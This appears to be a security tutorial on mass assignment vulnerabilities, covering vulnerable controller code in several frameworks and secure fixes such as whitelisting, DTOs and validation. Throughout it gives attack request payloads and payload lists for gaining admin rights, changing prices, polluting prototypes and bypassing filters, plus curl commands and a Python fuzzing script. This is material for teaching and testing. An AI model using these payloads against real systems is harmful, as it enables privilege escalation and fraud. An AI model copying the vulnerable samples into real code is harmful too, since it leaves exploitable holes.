Complete guide to understanding, exploiting, and preventing mass assignment vulnerabilities
Mass Assignment (also known as Auto-binding or Over-posting) is a vulnerability that occurs when an application automatically binds user input to internal object properties without proper filtering. This allows attackers to modify object properties that should not be user-controllable, such as:
Mass Assignment is a common vulnerability in modern web frameworks and remains part of the OWASP Top 10 under API Security risks (#06 - Mass Assignment in OWASP API Top 10 2023). It's critical because:
Mass assignment occurs when frameworks automatically bind request parameters to object properties:
# VULNERABLE CODE - Ruby on Rails
class UsersController < ApplicationController
def create
# Mass assignment without filtering!
@user = User.new(params[:user])
@user.save
end
end
# User model
class User < ActiveRecord::Base
# Attributes: username, email, password, is_admin
end
An attacker adds extra parameters to the request that modify sensitive fields:
# Normal registration request:
POST /users
{
"user": {
"username": "alice",
"email": "alice@example.com",
"password": "secret123"
}
}
# Malicious request with mass assignment:
POST /users
{
"user": {
"username": "hacker",
"email": "hacker@evil.com",
"password": "hacked",
"is_admin": true, # ⚠️ Privilege escalation!
"role": "administrator", # ⚠️ Role manipulation!
"verified": true # ⚠️ Bypass verification!
}
}
# Result: Account created with admin privileges!
# VULNERABLE
def update
@user = User.find(params[:id])
@user.update_attributes(params[:user])
end
# Attack: POST user[is_admin]=true
# VULNERABLE
def register(request):
form_data = request.POST.dict()
user = User(**form_data) # Unpacks all POST parameters!
user.save()
# Attack: POST with is_staff=True
// VULNERABLE
app.post('/api/users', async (req, res) => {
// Direct assignment of all request body properties
const user = new User(req.body);
await user.save();
});
// User Schema
const userSchema = new Schema({
username: String,
email: String,
password: String,
isAdmin: Boolean, // ⚠️ Can be set via req.body!
credits: Number // ⚠️ Can be manipulated!
});
// Attack: POST with {"isAdmin": true, "credits": 999999}
// VULNERABLE
[HttpPost]
public ActionResult Create(User user)
{
// Auto-binding from form fields
db.Users.Add(user);
db.SaveChanges();
return View(user);
}
// User model
public class User
{
public string Username { get; set; }
public string Email { get; set; }
public string Password { get; set; }
public bool IsAdmin { get; set; } // ⚠️ Can be bound!
}
// Attack: POST with IsAdmin=true in form data
// Common privilege fields to target
{
"is_admin": true,
"is_staff": true,
"role": "admin",
"role_id": 1,
"admin": 1,
"superuser": true,
"privileges": ["admin", "delete_users"],
"permission_level": 99,
"user_type": "administrator"
}
Attackers can discover hidden fields by trying common attribute names:
# Automated field discovery
curl -X POST http://example.com/api/users \
-d "username=test" \
-d "email=test@test.com" \
-d "is_admin=true" \
-d "admin=1" \
-d "role=admin" \
-d "superuser=true" \
-d "verified=true" \
-d "approved=true" \
-d "status=active"
# Check which fields were accepted in the response
// Update own profile, but change email to another user's
PATCH /api/users/123
{
"email": "victim@example.com", // ⚠️ Steal another account
"username": "admin", // ⚠️ Username hijacking
"user_id": 1 // ⚠️ Change own ID to admin's
}
// Add to cart with manipulated price
POST /api/cart/add
{
"product_id": 123,
"quantity": 1,
"price": 0.01, // ⚠️ Should be server-calculated!
"discount": 99, // ⚠️ Unauthorized discount
"is_free": true, // ⚠️ Free items
"vip_discount": true // ⚠️ Fake VIP status
}
// Manipulate nested relationships
POST /api/posts
{
"title": "My Post",
"content": "Hello World",
"author": {
"id": 1, // ⚠️ Claim authorship as admin
"is_verified": true
},
"metadata": {
"featured": true, // ⚠️ Auto-feature the post
"pinned": true,
"views": 999999 // ⚠️ Fake popularity
}
}
// Backdating or future-dating records
POST /api/orders
{
"items": [...],
"created_at": "2020-01-01T00:00:00Z", // ⚠️ Fake old order
"updated_at": "2025-01-01T00:00:00Z", // ⚠️ Future date
"expires_at": "2099-12-31T23:59:59Z" // ⚠️ Never expires
}
// Adding unauthorized items to collections
POST /api/user/123/update
{
"username": "user123",
"permissions": ["read", "write", "admin", "delete_all"], // ⚠️ Extra perms
"groups": [1, 2, 3, 99], // ⚠️ Add to admin group (ID 99)
"followed_by": [1, 2, 3] // ⚠️ Fake follower count
}
In JavaScript/Node.js environments, mass assignment can lead to prototype pollution:
// Malicious request
POST /api/users
{
"username": "attacker",
"__proto__": {
"isAdmin": true // ⚠️ Pollutes Object.prototype
},
"constructor": {
"prototype": {
"isAdmin": true // ⚠️ Alternative pollution
}
}
}
// Now ALL objects inherit isAdmin: true!
// If "is_admin" is blacklisted, try:
{
"Is_Admin": true,
"IS_ADMIN": true,
"Is_admin": true,
"isAdmin": true, // camelCase variant
"is-admin": true // kebab-case variant
}
// Different naming conventions for same field
{
"admin": true,
"is_admin": true,
"isAdmin": true,
"role": "admin",
"user_role": "admin",
"role_id": 1,
"permission": "admin",
"user_type": 1
}
// Try accessing fields via nested paths
{
"user": {
"is_admin": true
},
"profile": {
"user": {
"is_admin": true
}
},
"user.is_admin": true,
"user[is_admin]": true
}
# If create() is protected but update() is not:
# Step 1: Create normal account
POST /api/users
{
"username": "hacker",
"email": "hacker@evil.com"
}
# Step 2: Update with privileged fields
PATCH /api/users/123
{
"is_admin": true # ⚠️ May work if update lacks protection
}
# Check multiple endpoints for same resource:
POST /api/users # Protected
POST /users # May be unprotected
POST /api/v1/users # Different version
POST /admin/users # Admin endpoint
PUT /api/users/123 # Update vs Create
PATCH /api/users/123 # Partial update
# If JSON is protected, try form-encoded:
curl -X POST http://example.com/api/users \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=hacker&is_admin=true"
# Or try multipart form data:
curl -X POST http://example.com/api/users \
-F "username=hacker" \
-F "is_admin=true"
POST /api/users
Content-Type: application/xml
<user>
<username>hacker</username>
<email>hacker@evil.com</email>
<is_admin>true</is_admin>
</user>
✅ THE PRIMARY DEFENSE
# ✅ SECURE: Only permit specific fields
class UsersController < ApplicationController
def create
@user = User.new(user_params)
@user.save
end
private
def user_params
# Explicitly whitelist allowed parameters
params.require(:user).permit(:username, :email, :password)
# is_admin, role, etc. are NOT permitted
end
end
# ✅ SECURE: Use forms with explicit field lists
from django import forms
from .models import User
class UserRegistrationForm(forms.ModelForm):
class Meta:
model = User
# Only allow these fields
fields = ['username', 'email', 'password']
# Alternatively, exclude sensitive fields:
# exclude = ['is_staff', 'is_admin', 'is_superuser']
def register(request):
if request.method == 'POST':
form = UserRegistrationForm(request.POST)
if form.is_valid():
user = form.save()
return redirect('success')
// ✅ SECURE: Manually pick allowed fields
app.post('/api/users', async (req, res) => {
// Only extract whitelisted fields
const userData = {
username: req.body.username,
email: req.body.email,
password: req.body.password
};
const user = new User(userData);
await user.save();
res.json(user);
});
// Alternative: Use a library like 'lodash'
const _ = require('lodash');
const allowedFields = ['username', 'email', 'password'];
const userData = _.pick(req.body, allowedFields);
// ✅ SECURE: Use [Bind] to whitelist properties
[HttpPost]
public ActionResult Create([Bind(Include = "Username,Email,Password")] User user)
{
if (ModelState.IsValid)
{
db.Users.Add(user);
db.SaveChanges();
return RedirectToAction("Index");
}
return View(user);
}
// Alternative: Use ViewModels/DTOs (better approach)
public class UserRegistrationViewModel
{
public string Username { get; set; }
public string Email { get; set; }
public string Password { get; set; }
// No IsAdmin property - can't be bound!
}
Create separate classes for input that only contain safe fields:
// Java example
// ✅ SECURE: Separate DTO from entity
// User entity (internal model)
@Entity
public class User {
private Long id;
private String username;
private String email;
private String password;
private Boolean isAdmin; // Sensitive field
// getters/setters
}
// User registration DTO (external input)
public class UserRegistrationDTO {
private String username;
private String email;
private String password;
// No isAdmin field - can't be set from outside!
// getters/setters
}
// Controller
@PostMapping("/api/users")
public User createUser(@RequestBody UserRegistrationDTO dto) {
User user = new User();
user.setUsername(dto.getUsername());
user.setEmail(dto.getEmail());
user.setPassword(passwordEncoder.encode(dto.getPassword()));
user.setIsAdmin(false); // Set internally, never from input
return userRepository.save(user);
}
# Rails - Use attr_accessible or attr_protected
class User < ActiveRecord::Base
# Old Rails (before strong parameters)
attr_accessible :username, :email, :password
# is_admin is NOT accessible for mass assignment
end
# Django - Disable auto-binding by using explicit assignment
def create_user(request):
user = User()
user.username = request.POST.get('username')
user.email = request.POST.get('email')
user.password = make_password(request.POST.get('password'))
# is_staff is NOT set from input
user.is_staff = False # Set explicitly
user.save()
// ✅ SECURE: Use strict mode and select fields
const userSchema = new Schema({
username: String,
email: String,
password: String,
isAdmin: { type: Boolean, default: false }
}, {
strict: 'throw' // Throw error on unknown fields
});
// Mark sensitive fields as immutable or private
const userSchema = new Schema({
isAdmin: { type: Boolean, default: false, immutable: true },
credits: { type: Number, default: 0, select: false }
});
// ✅ SECURE: Use express-validator
const { body, validationResult } = require('express-validator');
app.post('/api/users',
// Validate and sanitize only expected fields
body('username').isAlphanumeric().trim().escape(),
body('email').isEmail().normalizeEmail(),
body('password').isLength({ min: 8 }),
async (req, res) => {
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
// Only use validated fields
const user = new User({
username: req.body.username,
email: req.body.email,
password: await hashPassword(req.body.password)
});
await user.save();
}
);
# Python with Pydantic
from pydantic import BaseModel, validator
class UserCreate(BaseModel):
username: str
email: str
password: str
# No is_admin field - won't be accepted
@validator('username')
def username_alphanumeric(cls, v):
assert v.isalnum(), 'must be alphanumeric'
return v
# FastAPI automatically validates
@app.post("/api/users")
async def create_user(user: UserCreate):
# user.is_admin won't exist - validation error if provided
new_user = User(**user.dict())
new_user.is_admin = False # Set server-side
db.add(new_user)
# ✅ Set sensitive fields server-side only
def create_user(validated_data):
user = User(**validated_data)
user.is_admin = False # Always false for new users
user.created_at = datetime.now() # Server time, not user input
user.account_balance = 0.0 # Start at zero
user.verified = False # Requires verification process
user.save()
return user
# Test every endpoint that accepts user input
# Original request:
POST /api/users
{
"username": "test",
"email": "test@test.com"
}
# Add common privilege fields:
POST /api/users
{
"username": "test",
"email": "test@test.com",
"is_admin": true,
"role": "admin",
"admin": 1,
"is_staff": true
}
# Check if any were saved in the response or database
# Download the JavaScript/HTML source
curl https://example.com/register.js
# Look for model definitions, hidden fields, API schemas
grep -i "admin\|role\|privilege\|staff" register.js
# Check API documentation/Swagger
curl https://example.com/api/docs
# Try introspection endpoints
GET /api/users/schema
GET /api/openapi.json
# Try mass assignment on all CRUD operations
POST /api/users # Create
PUT /api/users/123 # Full update
PATCH /api/users/123 # Partial update
GET /api/users/123 # Sometimes accepts query params
# Test with privileged fields in each
// Check if injected fields appear in response
POST /api/users
{
"username": "test",
"is_admin": true
}
// Response might reveal if field was accepted:
{
"id": 123,
"username": "test",
"is_admin": true, // ⚠️ Field accepted!
"created_at": "2024-01-01T00:00:00Z"
}
// Or error might reveal field existence:
{
"error": "Field 'is_admin' cannot be set by users"
// ⚠️ Field exists but is protected
}
# Burp Intruder payload list for mass assignment:
is_admin=true
admin=1
role=admin
is_staff=true
superuser=true
verified=true
approved=true
role_id=1
permission=admin
user_type=administrator
# ZAP active scan with mass assignment checks
zap-cli active-scan -r http://example.com
# Custom fuzzer configuration for mass assignment
# Add common admin fields to all POST/PUT/PATCH requests
# Python script to test mass assignment
import requests
base_url = "http://example.com/api"
test_fields = [
"is_admin", "admin", "role", "is_staff",
"superuser", "verified", "approved", "role_id"
]
def test_mass_assignment(endpoint, normal_data):
# Test each privileged field
for field in test_fields:
data = normal_data.copy()
data[field] = True # or "admin", 1, etc.
response = requests.post(f"{base_url}/{endpoint}", json=data)
# Check if field appears in response
if field in response.text.lower():
print(f"⚠️ VULNERABLE: {field} was accepted at {endpoint}")
print(f"Response: {response.json()}")
# Test registration
test_mass_assignment("users", {
"username": "testuser",
"email": "test@test.com",
"password": "Test123!"
})
Search for these vulnerable patterns in source code:
# Ruby on Rails
grep -r "params\[:user\]" app/controllers/
grep -r "\.new(params" app/controllers/
grep -r "update_attributes(params" app/
# Python Django
grep -r "\*\*request.POST" .
grep -r "\.dict()" . | grep -i request
grep -r "request.POST\[" .
# JavaScript/Node.js
grep -r "req.body" . | grep -i "new "
grep -r "Object.assign.*req.body" .
grep -r "\.create(req.body" .
# Java
grep -r "@RequestBody.*Entity" .
grep -r "modelAttribute" .
# Look for lack of whitelisting
grep -r "permit" app/controllers/ # Rails strong params
grep -r "fields = " . # Django form fields
grep -r "\[Bind\]" . # ASP.NET
// Vulnerable user creation
POST /api/register
{
"username": "attacker",
"email": "attacker@evil.com",
"is_admin": true, // ⚠️ Instant admin access
"verified": true, // ⚠️ Skip email verification
"account_balance": 9999 // ⚠️ Free money
}
// Price manipulation during order
POST /api/orders
{
"items": [
{
"product_id": 123,
"quantity": 1,
"price": 0.01, // ⚠️ Was $999.99
"discount_pct": 100 // ⚠️ 100% off
}
],
"total": 0.01, // ⚠️ Override total
"paid": true // ⚠️ Mark as already paid
}
// Post creation with manipulation
POST /api/posts
{
"content": "My post",
"author_id": 1, // ⚠️ Post as admin
"featured": true, // ⚠️ Auto-feature
"verified": true, // ⚠️ Verified badge
"likes": 999999, // ⚠️ Fake engagement
"created_at": "2020-01-01" // ⚠️ Backdating
}
// OAuth/API token creation
POST /api/tokens
{
"name": "My App",
"scopes": ["read", "write", "admin", "delete"], // ⚠️ Excessive scopes
"expires_at": "2099-12-31", // ⚠️ Never expires
"rate_limit": 999999 // ⚠️ Unlimited requests
}
// Organization/tenant settings
PATCH /api/organizations/123
{
"name": "My Org",
"plan": "enterprise", // ⚠️ Upgrade to premium
"max_users": 999999, // ⚠️ Unlimited users
"features": ["all"], // ⚠️ All features enabled
"billing_exempt": true // ⚠️ No billing
}
// Privilege/Role fields
{
"is_admin": true,
"admin": 1,
"is_staff": true,
"is_superuser": true,
"role": "admin",
"role_id": 1,
"user_role": "administrator",
"permission": "admin",
"permissions": ["admin", "delete"],
"user_type": 1,
"privilege_level": 99
}
// Account status fields
{
"verified": true,
"approved": true,
"active": true,
"enabled": true,
"status": "active",
"account_status": "verified"
}
// Financial fields
{
"price": 0.01,
"discount": 100,
"credits": 999999,
"balance": 999999,
"account_balance": 999999,
"paid": true,
"is_free": true,
"premium": true,
"subscription_active": true
}
// Identity fields
{
"user_id": 1,
"id": 1,
"email": "victim@example.com",
"username": "admin",
"owner_id": 1
}
// Metadata fields
{
"created_at": "2020-01-01T00:00:00Z",
"updated_at": "2099-12-31T23:59:59Z",
"expires_at": "2099-12-31T23:59:59Z",
"views": 999999,
"likes": 999999,
"followers": 999999,
"featured": true,
"pinned": true
}
# Burp Suite Intruder payload file (admin_fields.txt)
is_admin=true
admin=1
role=admin
is_staff=true
verified=true
# cURL test for mass assignment
curl -X POST https://example.com/api/users \
-H "Content-Type: application/json" \
-d '{
"username": "test",
"email": "test@test.com",
"password": "Test123!",
"is_admin": true,
"role": "admin"
}'
# Python quick test script
import requests
r = requests.post('https://example.com/api/users', json={
'username': 'test', 'is_admin': True
})
print('is_admin' in r.text) # Check if field was accepted
# Check if field exists in response
curl -X POST https://example.com/api/users \
-d "username=test&is_admin=true" | grep -i admin
# Find vulnerable patterns
# Rails
grep -rn "params\[:.*\])" --include="*.rb"
grep -rn "\.new(params" --include="*.rb"
# Django
grep -rn "\*\*request\.\(POST\|GET\|data\)" --include="*.py"
# Express/Node
grep -rn "new.*\(req\.body\)" --include="*.js"
grep -rn "\.create(req\.body" --include="*.js"
# ASP.NET
grep -rn "\[HttpPost\]" --include="*.cs" | grep -v "\[Bind"